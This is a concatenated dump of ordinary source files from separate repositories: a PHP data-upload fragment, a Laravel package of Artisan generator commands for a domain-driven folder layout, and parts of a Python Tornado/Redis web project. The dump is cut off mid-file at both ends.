$incident = $line['incident'];
$municipality = $line['municipality'];
$barangay = $line['barangay'];
$number_of_deaths = $line['numberofdeaths'];
$number_of_incidents = $line['numberofincidents'];
$uploadedBy = $line['uploadedby'];
upload_eventdata($projectID, $region, $year, $month, $municipality, $incident, $barangay, $number_of_deaths, $number_of_incidents, $uploadedBy);
}
return 1;
} else {
return $checker;
}
}
function submit_form_eventdata_area($projectID, $incident, $year, $municipality, $barangay, $number_of_deaths, $uploadedBy){
$controller_result = uploadeventdata_area($projectID, $incident, $year, $municipality, $barangay, $number_of_deaths, $uploadedBy);
echo "<script type='text/javascript'>alert('Event Data per area successfully uploaded!');</script>";
if ($controller_result!=FALSE){
header('Location: visualization_eventdataarea.php');}
}
?>
<file_sep><?php
function createconnection(){
// Create connection
$dbc = new mysqli("localhost", "root", "","sdrcris");
// Check connection
if ($dbc->connect_error) {
die("Connection failed: " . $dbc->connect_error);
}
return $dbc;
}
?> | 57f01fb31f0d47500837a083d12e4d35737795c8 | [
"PHP"
] | 79 | PHP | reuelespiritu/SDRCRISPHP | 3d30bff6e8cb5f48618b2861d9824f60d607cea5 | 32a6987739d0fffb950c4cf63dee61b7b4ec0231 |
refs/heads/master | <file_sep><?php
namespace Mcklayin\RightWay;
use Illuminate\Filesystem\Filesystem;
class DomainMakeCommand extends AbstractCommand
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'right-way:make:domain
{name : Domain name}
{--root : Domain path}
';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Make domain using DDD';
/**
* Create a new controller creator command instance.
*
* @param \Illuminate\Filesystem\Filesystem $files
*
* @return void
*/
public function __construct(Filesystem $files)
{
parent::__construct($files);
$this->namespace = config('rightway.domain_layer_namespace');
}
/**
* Execute the console command.
*
* @return mixed
*/
public function handle()
{
$name = $this->argument('name');
$root = $this->option('root');
if ($root) {
$this->namespace = $root;
}
$this->createStructure($name);
$this->info("Domain {$name} created");
}
/**
* @param $name
*/
protected function createStructure($name)
{
$path = $this->getPath($name);
$this->makeDirectory($path);
$structure = [
'Actions',
'Broadcasting',
'Collections',
'DataTransferObjects',
'Events',
'Exceptions',
'Jobs',
'Listeners',
'Mail',
'Models',
'Notifications',
'Observers',
'Operations',
'Policies',
'QueryBuilders',
'Rules',
];
foreach ($structure as $folder) {
$this->makeDirectory($path.'/'.$folder);
}
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Illuminate\Support\ServiceProvider;
use Mcklayin\RightWay\NativeCommands\ChannelMakeCommand;
use Mcklayin\RightWay\NativeCommands\ConsoleMakeCommand;
use Mcklayin\RightWay\NativeCommands\ControllerMakeCommand;
use Mcklayin\RightWay\NativeCommands\EventMakeCommand;
use Mcklayin\RightWay\NativeCommands\ExceptionMakeCommand;
use Mcklayin\RightWay\NativeCommands\FactoryMakeCommand;
use Mcklayin\RightWay\NativeCommands\JobMakeCommand;
use Mcklayin\RightWay\NativeCommands\ListenerMakeCommand;
use Mcklayin\RightWay\NativeCommands\MailMakeCommand;
use Mcklayin\RightWay\NativeCommands\MiddlewareMakeCommand;
use Mcklayin\RightWay\NativeCommands\ModelMakeCommand;
use Mcklayin\RightWay\NativeCommands\NotificationMakeCommand;
use Mcklayin\RightWay\NativeCommands\ObserverMakeCommand;
use Mcklayin\RightWay\NativeCommands\PolicyMakeCommand;
use Mcklayin\RightWay\NativeCommands\RequestMakeCommand;
use Mcklayin\RightWay\NativeCommands\ResourceMakeCommand;
use Mcklayin\RightWay\NativeCommands\RuleMakeCommand;
class RightWayServiceProvider extends ServiceProvider
{
public function register(): void
{
if ($this->app->runningInConsole()) {
$this->commands([
DomainMakeCommand::class,
InfrastructureMakeCommand::class,
DTOMakeCommand::class,
QueryBuilderMakeCommand::class,
CollectionMakeCommand::class,
ActionMakeCommand::class,
RightWayCommand::class,
]);
$this->overrideInternalCommands();
}
}
public function boot()
{
$this->publishes([
__DIR__.'/../config/rightway.php' => config_path('rightway.php'),
], 'config');
}
public function provides(): array
{
return [
DomainMakeCommand::class,
InfrastructureMakeCommand::class,
DTOMakeCommand::class,
QueryBuilderMakeCommand::class,
CollectionMakeCommand::class,
ActionMakeCommand::class,
RightWayCommand::class,
];
}
private function overrideInternalCommands()
{
$this->app->extend('command.channel.make', function () {
return new ChannelMakeCommand(app('files'));
});
$this->app->extend('command.console.make', function () {
return new ConsoleMakeCommand(app('files'));
});
$this->app->extend('command.controller.make', function () {
return new ControllerMakeCommand(app('files'));
});
$this->app->extend('command.event.make', function () {
return new EventMakeCommand(app('files'));
});
$this->app->extend('command.exception.make', function () {
return new ExceptionMakeCommand(app('files'));
});
$this->app->extend('command.factory.make', function () {
return new FactoryMakeCommand(app('files'));
});
$this->app->extend('command.job.make', function () {
return new JobMakeCommand(app('files'));
});
$this->app->extend('command.listener.make', function () {
return new ListenerMakeCommand(app('files'));
});
$this->app->extend('command.mail.make', function () {
return new MailMakeCommand(app('files'));
});
$this->app->extend('command.middleware.make', function () {
return new MiddlewareMakeCommand(app('files'));
});
$this->app->extend('command.model.make', function () {
return new ModelMakeCommand(app('files'));
});
$this->app->extend('command.notification.make', function () {
return new NotificationMakeCommand(app('files'));
});
$this->app->extend('command.observer.make', function () {
return new ObserverMakeCommand(app('files'));
});
$this->app->extend('command.policy.make', function () {
return new PolicyMakeCommand(app('files'));
});
$this->app->extend('command.request.make', function () {
return new RequestMakeCommand(app('files'));
});
$this->app->extend('command.resource.make', function () {
return new ResourceMakeCommand(app('files'));
});
$this->app->extend('command.rule.make', function () {
return new RuleMakeCommand(app('files'));
});
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Support\Str;
abstract class AbstractDomainGeneratorCommand extends AbstractGeneratorCommand
{
/**
* Create a new controller creator command instance.
*
* @param \Illuminate\Filesystem\Filesystem $files
*
* @return void
*/
public function __construct(Filesystem $files)
{
parent::__construct($files);
$this->namespace = config('rightway.domain_layer_namespace').'\\';
}
/**
* @throws \Illuminate\Contracts\Filesystem\FileNotFoundException
*
* @return void
*/
public function handle()
{
if (!Str::contains($this->getNameInput(), '/')) {
$this->error('Domain name should be specified! Eg. User/StoreRule');
return;
}
parent::handle();
}
/**
* Returns the portion of string specified by the start and length parameters.
*
* @param string $string
* @param int $start
* @param int|null $length
*
* @return string
*/
public function substr($string, $start, $length = null): string
{
return mb_substr($string, $start, $length, 'UTF-8');
}
/**
* Get the portion of a string before the last occurrence of a given value.
*
* @param string $subject
* @param string $search
*
* @return string
*/
public function beforeLast($subject, $search): string
{
if ($search === '') {
return $subject;
}
$pos = mb_strrpos($subject, $search);
if ($pos === false) {
return $subject;
}
return $this->substr($subject, 0, $pos);
}
/**
* Replace the namespace for the given stub.
*
* @param string $stub
* @param string $name
*
* @return $this
*/
protected function replaceNamespace(&$stub, $name)
{
$stub = str_replace(
$this->getReplacePlaceholders(),
$this->getReplacers($name),
$stub
);
return $this;
}
/**
* @return array
*/
protected function getReplacePlaceholders(): array
{
return ['DummyNamespace', 'DummyRootNamespace', 'NamespacedDummyUserModel'];
}
/**
* @param $name
*
* @return array
*/
protected function getReplacers($name): array
{
return [$this->getNamespace($name), $this->rootNamespace(), $this->userProviderModel()];
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Support\Str;
abstract class AbstractCommand extends Command
{
/**
* @var Filesystem
*/
protected $files;
/**
* @var string
*/
protected $namespace;
public function __construct(Filesystem $files)
{
$this->files = $files;
parent::__construct();
}
/**
* Get the root namespace for the class.
*
* @return string
*/
protected function rootNamespace(): string
{
return $this->laravel->getNamespace();
}
/**
* @return mixed
*/
abstract public function handle();
/**
* @param $path
*
* @return string
*/
protected function qualifyPath($path): string
{
return str_replace('\\', '/', $path);
}
/**
* @param $path
*
* @return mixed
*/
protected function makeDirectory($path)
{
if (!$this->files->isDirectory($path)) {
$this->files->makeDirectory($path, 0777, true, true);
}
return $path;
}
/**
* @param $namespace
*
* @return string
*/
protected function replaceLaravelNamespace($namespace): string
{
return Str::replaceFirst($this->rootNamespace(), '', $namespace);
}
/**
* @param $name
*
* @return string
*/
protected function getPath($name): string
{
$namespace = $this->replaceLaravelNamespace($this->namespace);
return $this->qualifyPath($this->laravel['path'].'/'.$namespace.'/'.$name);
}
}
<file_sep><?php
namespace Mcklayin\RightWay\NativeCommands;
use Illuminate\Support\Str;
use Mcklayin\RightWay\AbstractApplicationGeneratorCommand;
class RequestMakeCommand extends AbstractApplicationGeneratorCommand
{
/**
* The console command name.
*
* @var string
*/
protected $name = 'make:request';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Create a new form request class';
/**
* The type of class being generated.
*
* @var string
*/
protected $type = 'Request';
/**
* @var string
*/
protected $path = 'Requests';
/**
* Get the stub file for the generator.
*
* @return string
*/
protected function getStub()
{
return __DIR__.'/stubs/request.stub';
}
/**
* @param string $rootNamespace
*
* @return string
*/
protected function getDefaultNamespace($rootNamespace): string
{
if (!Str::contains($this->getNameInput(), '/')) {
return $rootNamespace.'\Http';
}
return $rootNamespace;
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Illuminate\Filesystem\Filesystem;
class InfrastructureMakeCommand extends AbstractCommand
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'right-way:make:infrastructure
{name : Service name}
{--root : Service path}
';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Make service using DDD';
/**
* Create a new controller creator command instance.
*
* @param \Illuminate\Filesystem\Filesystem $files
*
* @return void
*/
public function __construct(Filesystem $files)
{
parent::__construct($files);
$this->namespace = config('rightway.infrastructure_layer_namespace');
}
/**
* Execute the console command.
*
* @return mixed
*/
public function handle()
{
$name = $this->argument('name');
$root = $this->option('root');
if ($root) {
$this->namespace = $root;
}
$this->makeDirectory($this->getPath($name));
$this->info("Infrastructure Service {$name} created");
}
}
<file_sep># Changelog
## 1.0.0 - 2019-11-12
- initial release
<file_sep><?php
return [
'application_layer_namespace' => env('APPLICATION_LAYER_NAMESPACE', 'App'),
'domain_layer_namespace' => env('DOMAIN_LAYER_NAMESPACE', 'App\Domain'),
'infrastructure_layer_namespace' => env('INFRASTRUCTURE_LAYER_NAMESPACE', 'App\Infrastructure'),
];
<file_sep><?php
namespace Mcklayin\RightWay;
class QueryBuilderMakeCommand extends AbstractDomainGeneratorCommand
{
protected $name = 'right-way:make:query-builder';
protected $description = 'Create a new query builder class';
protected $path = 'QueryBuilders';
protected $type = 'Query Builder';
/**
* @return string
*/
protected function getStub(): string
{
return __DIR__.'/stubs/query-builder.stub';
}
}
<file_sep># Code Right Way in Laravel
## License
The MIT License (MIT).
<file_sep><?php
namespace Mcklayin\RightWay\NativeCommands;
use Illuminate\Support\Str;
use Mcklayin\RightWay\AbstractApplicationGeneratorCommand;
class MiddlewareMakeCommand extends AbstractApplicationGeneratorCommand
{
/**
* The console command name.
*
* @var string
*/
protected $name = 'make:middleware';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Create a new middleware class';
/**
* The type of class being generated.
*
* @var string
*/
protected $type = 'Middleware';
/**
* @var string
*/
protected $path = 'Middleware';
/**
* Get the stub file for the generator.
*
* @return string
*/
protected function getStub()
{
return __DIR__.'/stubs/middleware.stub';
}
/**
* @param string $rootNamespace
*
* @return string
*/
protected function getDefaultNamespace($rootNamespace): string
{
if (!Str::contains($this->getNameInput(), '/')) {
return $rootNamespace.'\Http';
}
return $rootNamespace;
}
}
<file_sep><?php
namespace Mcklayin\RightWay\NativeCommands;
use Illuminate\Support\Str;
use Mcklayin\RightWay\AbstractDomainGeneratorCommand;
use Symfony\Component\Console\Input\InputOption;
class ModelMakeCommand extends AbstractDomainGeneratorCommand
{
/**
* The console command name.
*
* @var string
*/
protected $name = 'make:model';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Create a new Eloquent model class';
/**
* The type of class being generated.
*
* @var string
*/
protected $type = 'Model';
/**
* @var string
*/
protected $path = 'Models';
/**
* Execute the console command.
*
* @throws \Illuminate\Contracts\Filesystem\FileNotFoundException
*
* @return mixed
*/
public function handle()
{
if (parent::handle() === false && !$this->option('force')) {
return false;
}
if ($this->option('all')) {
$this->input->setOption('factory', true);
$this->input->setOption('migration', true);
$this->input->setOption('controller', true);
$this->input->setOption('resource', true);
}
if ($this->option('factory')) {
$this->createFactory();
}
if ($this->option('migration')) {
$this->createMigration();
}
if ($this->option('controller') || $this->option('resource')) {
$this->createController();
}
if (!$this->option('only-model')) {
$this->createQueryBuilder();
$this->createCollection();
}
}
/**
* Create a model factory for the model.
*
* @return void
*/
protected function createFactory()
{
$factory = Str::studly(class_basename($this->argument('name')));
$this->call('make:factory', [
'name' => "{$factory}Factory",
'--model' => $this->qualifyClass($this->getNameInput()),
]);
}
/**
* Create a migration file for the model.
*
* @return void
*/
protected function createMigration()
{
$table = Str::snake(Str::pluralStudly(class_basename($this->argument('name'))));
if ($this->option('pivot')) {
$table = Str::singular($table);
}
$this->call('make:migration', [
'name' => "create_{$table}_table",
'--create' => $table,
]);
}
/**
* Create a controller for the model.
*
* @return void
*/
protected function createController()
{
$controller = Str::studly(class_basename($this->argument('name')));
$modelName = $this->qualifyClass($this->getNameInput());
$this->call('make:controller', [
'name' => "{$controller}Controller",
'--model' => $this->option('resource') ? $modelName : null,
]);
}
/**
* Create a query builder for the model.
*
* @return void
*/
protected function createQueryBuilder()
{
$queryBuilder = Str::studly($this->argument('name'));
$this->call('right-way:make:query-builder', [
'name' => "{$queryBuilder}QueryBuilder",
]);
}
/**
* Create a collection for the model.
*
* @return void
*/
protected function createCollection()
{
$collection = Str::studly($this->argument('name'));
$this->call('right-way:make:collection', [
'name' => "{$collection}Collection",
]);
}
/**
* Get the stub file for the generator.
*
* @return string
*/
protected function getStub()
{
if ($this->option('pivot')) {
return __DIR__.'/stubs/pivot.model.stub';
}
return __DIR__.'/stubs/model.stub';
}
/**
* Get the console command options.
*
* @return array
*/
protected function getOptions()
{
return [
['all', 'a', InputOption::VALUE_NONE, 'Generate a migration, factory, and resource controller for the model'],
['controller', 'c', InputOption::VALUE_NONE, 'Create a new controller for the model'],
['factory', 'f', InputOption::VALUE_NONE, 'Create a new factory for the model'],
['force', null, InputOption::VALUE_NONE, 'Create the class even if the model already exists'],
['migration', 'm', InputOption::VALUE_NONE, 'Create a new migration file for the model'],
['pivot', 'p', InputOption::VALUE_NONE, 'Indicates if the generated model should be a custom intermediate table model'],
['resource', 'r', InputOption::VALUE_NONE, 'Indicates if the generated controller should be a resource controller'],
['only-model', 'o', InputOption::VALUE_NONE, 'Generate a query builder and collection for the model'],
];
}
/**
* Resolve create query builder name.
*
* @return string
*/
protected function queryBuilderName(): string
{
$queryBuilder = Str::studly($this->getBaseName());
return "{$queryBuilder}QueryBuilder";
}
/**
* Resolve created query builder namespace.
*
* @return string
*/
protected function queryBuilderNamespace(): string
{
$queryBuilderNamespace = $this->qualifyClass($this->getNameInput());
$replace = $this->beforeLast($queryBuilderNamespace, '\\'.$this->path);
return $replace.'\QueryBuilders\\'.$this->queryBuilderName();
}
/**
* Resolve created collection name.
*
* @return string
*/
protected function collectionName(): string
{
$collection = Str::studly($this->getBaseName());
return "{$collection}Collection";
}
/**
* Resolve created collection namespace.
*
* @return string
*/
protected function collectionNamespace(): string
{
$collectionNamespace = $this->qualifyClass($this->getNameInput());
$replace = $this->beforeLast($collectionNamespace, '\\'.$this->path);
return $replace.'\Collections\\'.$this->collectionName();
}
/**
* Get replacing placeholders.
*
* @return array
*/
protected function getReplacePlaceholders(): array
{
return [
'DummyNamespace',
'DummyRootNamespace',
'NamespacedDummyUserModel',
'DummyQueryBuilderNamespace',
'DummyQueryBuilder',
'DummyCollectionNamespace',
'DummyCollection',
];
}
/**
* Get replaced data.
*
* @param $name
*
* @return array
*/
protected function getReplacers($name): array
{
return [
$this->getNamespace($name),
$this->rootNamespace(),
$this->userProviderModel(),
$this->queryBuilderNamespace(),
$this->queryBuilderName(),
$this->collectionNamespace(),
$this->collectionName(),
];
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Support\Composer;
class RightWayCommand extends AbstractCommand
{
/**
* @var Composer
*/
protected $composer;
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'right-way:init';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Convert fresh laravel installation to DDD format';
/**
* Create a new controller creator command instance.
*
* @param \Illuminate\Filesystem\Filesystem $files
* @param \Illuminate\Support\Composer $composer
*
* @return void
*/
public function __construct(Filesystem $files, Composer $composer)
{
parent::__construct($files);
$this->composer = $composer;
}
/**
* Execute the console command.
*/
public function handle()
{
$this->createDomainLayer();
$this->createApplicationLayer();
$this->createInfrastructureLayer();
$this->composer->dumpAutoloads();
$this->info('Done');
}
/**
* Create Domain layer & first User domain.
*
* @throws \Illuminate\Contracts\Filesystem\FileNotFoundException
*/
private function createDomainLayer()
{
$domainLayerNamespace = config('rightway.domain_layer_namespace');
$this->call('right-way:make:domain', [
'name' => 'User',
]);
$this->prepareDefaultDomain($this->getPath($domainLayerNamespace), $domainLayerNamespace);
$this->info('Domain layer created');
}
/**
* Create Application layer.
*/
private function createApplicationLayer()
{
$applicationLayerNamespace = config('rightway.application_layer_namespace');
$this->makeDirectory($this->getPath($applicationLayerNamespace));
// Move Framework directories to new location
$applicationLayerFolders = [
'Console',
'Http',
];
foreach ($applicationLayerFolders as $folder) {
$destPath = app_path($applicationLayerNamespace.'/'.$folder);
$this->moveDirectory(app_path($folder), $destPath);
}
$this->info('Application layer created');
}
/**
* Create Service layer.
*/
private function createInfrastructureLayer()
{
$infrastructureLayerNamespace = config('rightway.infrastructure_layer_namespace');
$this->makeDirectory(app_path($infrastructureLayerNamespace));
$this->info('Infrastructure layer created');
}
/**
* @param $srcPath
* @param $destPath
*
* @return void
*/
protected function moveDirectory($srcPath, $destPath)
{
if ($this->files->isDirectory($srcPath)) {
$this->files->moveDirectory($srcPath, $destPath);
}
}
/**
* @param $srcPath
* @param $destPath
*
* @return void
*/
protected function moveFile($srcPath, $destPath)
{
if (!$this->files->isDirectory($srcPath)) {
$this->files->move($srcPath, $destPath);
}
}
/**
* @param $path
* @param $domainNamespace
*
* @throws \Illuminate\Contracts\Filesystem\FileNotFoundException
*/
private function prepareDefaultDomain($path, $domainNamespace)
{
$this->prepareDefaultModels($path, $domainNamespace);
}
/**
* @param string $path
* @param string $domainNamespace
*
* @throws \Illuminate\Contracts\Filesystem\FileNotFoundException
*/
private function prepareDefaultModels($path, $domainNamespace)
{
$defaultsModels = [
'User' => 'User/Models',
];
$additionalChanges = [
'User' => 'updateAuthProvidersUsersModel',
];
foreach ($defaultsModels as $model => $modelPath) {
$srcPath = app_path($model.'.php');
if ($this->files->exists($srcPath)) {
$destPath = $path.'/'.$modelPath.'/'.$model.'.php';
$namespace = $domainNamespace.'\\'.$this->buildNamespace($modelPath);
$this->buildClass(app_path($model.'.php'), $this->rootNamespace(), $namespace);
$this->moveFile(app_path($model.'.php'), $destPath);
// Apply additional changes
if (isset($additionalChanges[$model]) && method_exists($this, $additionalChanges[$model])) {
$this->{$additionalChanges[$model]}($namespace);
}
}
}
}
/**
* @param $path
* @param $fromNamespace
* @param $toNamespace
*
* @throws \Illuminate\Contracts\Filesystem\FileNotFoundException
*/
protected function buildClass($path, $fromNamespace, $toNamespace)
{
$fileData = $this->files->get($path);
$this->files->put($path, $this->replaceNamespace($fileData, $fromNamespace, $toNamespace));
}
/**
* @param $data
* @param $fromNamespace
* @param $toNamespace
*
* @return mixed
*/
protected function replaceNamespace(&$data, $fromNamespace, $toNamespace)
{
return str_replace($fromNamespace, $toNamespace, $data);
}
/**
* @param $path
*
* @return mixed
*/
protected function buildNamespace($path)
{
return str_replace('/', '\\', $path);
}
/**
* Update auth.providers.users.model in auth.php.
*
* @param $model
*/
protected function updateAuthProvidersUsersModel($model)
{
$replace = 'App\User::class';
$path = config_path('auth.php');
$fileData = $this->files->get($path);
$this->files->put($path, str_replace($replace, $model.'\User::class', $fileData));
}
/**
* @param $namespace
*
* @return string
*/
protected function getPath($namespace): string
{
$namespace = $this->replaceLaravelNamespace($namespace);
return app_path($this->qualifyPath($namespace));
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Illuminate\Console\GeneratorCommand;
use Illuminate\Support\Str;
abstract class AbstractGeneratorCommand extends GeneratorCommand
{
/**
* @var string
*/
protected $namespace;
/**
* Folder path relative to namespace.
*
* @var string
*/
protected $path;
/**
* Get the root namespace for the class.
*
* @return string
*/
protected function rootNamespace(): string
{
return $this->isLaravelNamespace() ? parent::rootNamespace() : $this->namespace;
}
/**
* @return bool
*/
private function isLaravelNamespace(): bool
{
return $this->namespace === parent::rootNamespace();
}
/**
* @param string $input
*
* @return string
*/
protected function getLayerFrom($input): string
{
return explode('\\', $this->qualifyName($input))[0];
}
/**
* @return string
*/
protected function getLayer(): string
{
$input = $this->gatherInput();
return $this->getLayerFrom($input);
}
/**
* Get the destination class path.
*
* @param string $name
*
* @return string
*/
protected function getPath($name)
{
if (!$this->isLaravelNamespace()) {
$name = Str::replaceFirst(parent::rootNamespace(), '', $name);
}
return $this->laravel['path'].'/'.str_replace('\\', '/', $name).'.php';
}
/**
* @param string|null $input
*
* @return string
*/
protected function getBaseName($input = null): string
{
$input = $this->gatherInput($input);
return class_basename($input);
}
/**
* @param string|null $input
*
* @return string
*/
private function gatherInput($input = null): string
{
return $input ?? $this->getNameInput();
}
/**
* @param string $name
*
* @return string
*/
protected function qualifyName($name): string
{
return str_replace('/', '\\', $name);
}
/**
* Parse the class name and format according to the root namespace.
*
* @param string $name
*
* @return string
*/
protected function qualifyClass($name): string
{
$name = ltrim($name, '\\/');
$rootNamespace = $this->rootNamespace();
if (Str::startsWith($name, $rootNamespace)) {
return $name;
}
$name = $this->qualifyName($name);
if (Str::contains($name, '\\')) {
$name = Str::replaceFirst($this->getLayer(), $this->getLayer().'\\'.$this->path, $name);
} else {
$name = $this->path.'\\'.$name;
}
$path = $this->qualifyClass(
$this->getDefaultNamespace(trim($rootNamespace, '\\')).'\\'.$name
);
return $path;
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
class CollectionMakeCommand extends AbstractDomainGeneratorCommand
{
protected $name = 'right-way:make:collection';
protected $description = 'Create a new collection class';
protected $path = 'Collections';
protected $type = 'Collection';
/**
* @return string
*/
protected function getStub(): string
{
return __DIR__.'/stubs/collection.stub';
}
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Symfony\Component\Console\Input\InputOption;
class DTOMakeCommand extends AbstractDomainGeneratorCommand
{
protected $name = 'right-way:make:dto';
protected $description = 'Create a new data-transfer-object class';
protected $path = 'DataTransferObjects';
protected $type = 'Data Transfer Object';
/**
* @return string
*/
protected function getStub(): string
{
return $this->option('request')
? __DIR__.'/stubs/dto-from-request.stub'
: __DIR__.'/stubs/dto.stub';
}
/**
* @return array
*/
protected function getOptions(): array
{
return [
['request', null, InputOption::VALUE_NONE, 'Indicates that data transfer object should has from request method'],
];
}
}
<file_sep><?php
namespace Mcklayin\RightWay\Contracts;
interface DataTransferObject
{
}
<file_sep><?php
namespace Mcklayin\RightWay;
use Symfony\Component\Console\Input\InputOption;
class ActionMakeCommand extends AbstractDomainGeneratorCommand
{
protected $name = 'right-way:make:action';
protected $description = 'Create a new action class';
protected $path = 'Actions';
protected $type = 'Action';
/**
* @return string
*/
protected function getStub(): string
{
return $this->option('sync')
? __DIR__.'/stubs/action.stub'
: __DIR__.'/stubs/action-queued.stub';
}
/**
* @return array
*/
protected function getOptions(): array
{
return [
['sync', null, InputOption::VALUE_NONE, 'Indicates that action should be synchronous'],
];
}
}
| ad4d4e630a27e1fc33c6318d035d56ee8e149144 | [
"Markdown",
"PHP"
] | 18 | PHP | mcklayin/laravel-right-way | 64ae4df856a0efd84cfd726980d3bdb712aa4c40 | 445196b0eac6fae57f9d2611d4f28f59566191dc |
refs/heads/master | <repo_name>MyWebOrgan/MyWEB<file_sep>/Environment.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-14
# module : Environment
#===================================================
import os
import platform
#====================================================
# 路径全局变量
#====================================================
RootPath = os.path.dirname(__file__)
ConfPath = RootPath + os.sep + "Conf"
ToolPath = RootPath + os.sep + "Tool"
ServerPath = RootPath + os.sep + "Server"
HandlerPath = ServerPath + os.sep + "Handler"
DefinePath = RootPath + os.sep + "Define"
LogCachePath= RootPath + os.sep + "LogCache"
TemplatePath= RootPath + os.sep + "Template"
StaticPath = RootPath + os.sep + "Static"
#====================================================
# 将根目录加入sys.path, 在Start模块加入了
#====================================================
#if RootPath not in sys.path:
# sys.path.append(RootPath)
#====================================================
# 获取当前操作系统平台
#====================================================
PlatForm = platform.system() #Windows or Linux
def is_window():
return PlatForm == "Windows"
def is_linux():
return PlatForm == "Linux"
if __name__ == "__main__":
print RootPath,PlatForm, ConfPath, ToolPath, DefinePath, LogCachePath,TemplatePath,StaticPath<file_sep>/Tool/Serialize.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-27
# module : Tool.Serialize
#===================================================
#====================================================
# pickle
#====================================================
try:
import cPickle as pickle
except ImportError:
import pickle
def obj2str(obj_temp):
return pickle.dumps(obj_temp)
def str2obj(str_temp):
return pickle.loads(str_temp)
#====================================================
# json
#====================================================
import json
def obj2json(obj_temp):
return json.dumps(obj_temp)
def json2obj(str_temp):
return json.loads(str_temp)
if __name__ == "__main__":
obj = {"name" : "tmark", "age" : 22, "phone" : "123456789"}
str_pickle = obj2str(obj)
print str_pickle
print str2obj(str_pickle)
str_json = obj2json(obj)
print str_json
print json2obj(str_json)<file_sep>/Server/Handler/HandlerBase.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-20
# module : Server.Handler.HandlerBase
#===================================================
import tornado.web
from Server import Session
#====================================================
# BaseHandler基类
#====================================================
class BaseHandler(tornado.web.RequestHandler):
handler_flag = None # 用于标记是BaseHandler类继承链的标记
def initialize(self):
self.session = Session.Session(self.application.session_manager, self) # 为每一个连接初始化一个session, redis中有的那么就读取redis中的数据,redis中没有的那么就创建一个空的
def write_error(self, status_code, **kwargs):
self.write("<h1>override write_error function</h1>")
def __str__(self, *args, **kwargs):
return "requestHandler派生类 对象: %s" % self.__class__.__name__
def on_finish(self):
# 不能在on_finish后调用self.session.save(), 因为响应已经返回,
# 这时是不能设置set_secure_cookie的,只能将数据保存到数据库中
# 必须要在返回前调用self.session.save()
# self.session.save()
# print "self.request.method = ", self.request.method
# print "self.request.uri", self.request.uri
# print "self.request.path", self.request.path
# print "self.request.query", self.request.query
# print "self.request.version", self.request.version
# print "self.request.headers", self.request.headers
# print "self.request.body", self.request.body
# print "self.request.remote_ip", self.request.remote_ip
# print "self.request.protocol", self.request.protocol
# print "self.request.host", self.request.host
#
# print self.request
pass
# 保存session函数,不能定义为修饰体,因为不知道修饰的func是什么行为(会不会调用一些提前返回相应终止链接的行为)
def save_session(self):
self.session.save()<file_sep>/Server/ParseCmd.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-19
# module : Server.ParseCmd
#===================================================
import getopt
import sys
from Tool import SystemSafe
from Define import NormalDefine
#====================================================
# 解析命令行参数接口
#====================================================
def parse_cmd_line(args = sys.argv[1:], shortopts = "", longopts = ["help"]):
return SystemSafe.safe_call(getopt.getopt, args, shortopts, longopts)
#====================================================
# help帮助信息输出
#====================================================
def help_info():
if not hasattr(NormalDefine, "HelpInfo"):
print "Not help infomation."
else:
print NormalDefine.HelpInfo<file_sep>/DB/Redis.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-25
# module : DB.Redis
#===================================================
import os
import redis
import Environment
from Tool import Serialize, TabFile
#====================================================
# 连接配置
#====================================================
# 默认配置或者配置表需包含以下东西等
ConnectConfig = { "host" : 'localhost',
"port" : 6379,
"db" : 0,
"password" : <PASSWORD>}
# 读文件刷新配置
if os.path.isfile(Environment.ConfPath + os.sep + "Redis.conf"):
TabFileObj = TabFile.TabFileEngine()
TabFileObj.bind(Environment.ConfPath + os.sep + "Redis.conf")
ConnectConfig.update(TabFileObj.read_config())
# 将配置表是字符串的改成数值
ConnectConfig["port"] = int(ConnectConfig["port"])
ConnectConfig["db"] = int(ConnectConfig["db"])
#====================================================
# redis数据库类
#====================================================
class RedisEngine(object):
'''
redis数据库连接操作管理类
'''
# 类变量定义 ConnectionPool
pool = redis.ConnectionPool(**ConnectConfig)
# 键名前缀,'cache-' + uuid.uuid4 + '-'
key_prefix = "cache-40bd42dd-4982-45bc-82ad-e36ab4a2234d-"
def __init__(self):
self.db = self.connect()
def connect(self):
return redis.Redis(connection_pool = self.pool)
def get(self, key):
full_key = self.key_prefix + key
pickle_value = self.db.get(full_key)
# 已经过期了,就直接返回
if pickle_value is None:
return pickle_value
return Serialize.str2obj(pickle_value)
def set(self, key, value, expire_time = None):
full_key = self.key_prefix + key
# 将value序列化
pickle_value = Serialize.obj2str(value)
self.db.set(full_key, pickle_value, expire_time)
if __name__ == "__main__":
obj = RedisEngine()
# obj.set("haha", {"name" : "tmark", "age" : 22}, 10)
print obj.get("haha")
<file_sep>/Define/LogDefine.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-22
# module : Define.LogDefine
#===================================================
# 通常不使用,补位
RootLogger = 0
#====================================================
# 系统日志类型
#====================================================
ErrorLogger = -1
WarningLogger = -2
#====================================================
# 消息日志类型
#====================================================
WebRequestLogger = 1 # web请求消息日志
#====================================================
# 日志类型路由(映射或者用于日志类型合法性检测)
#====================================================
LoggerRoute = {
# 补位
RootLogger : None,
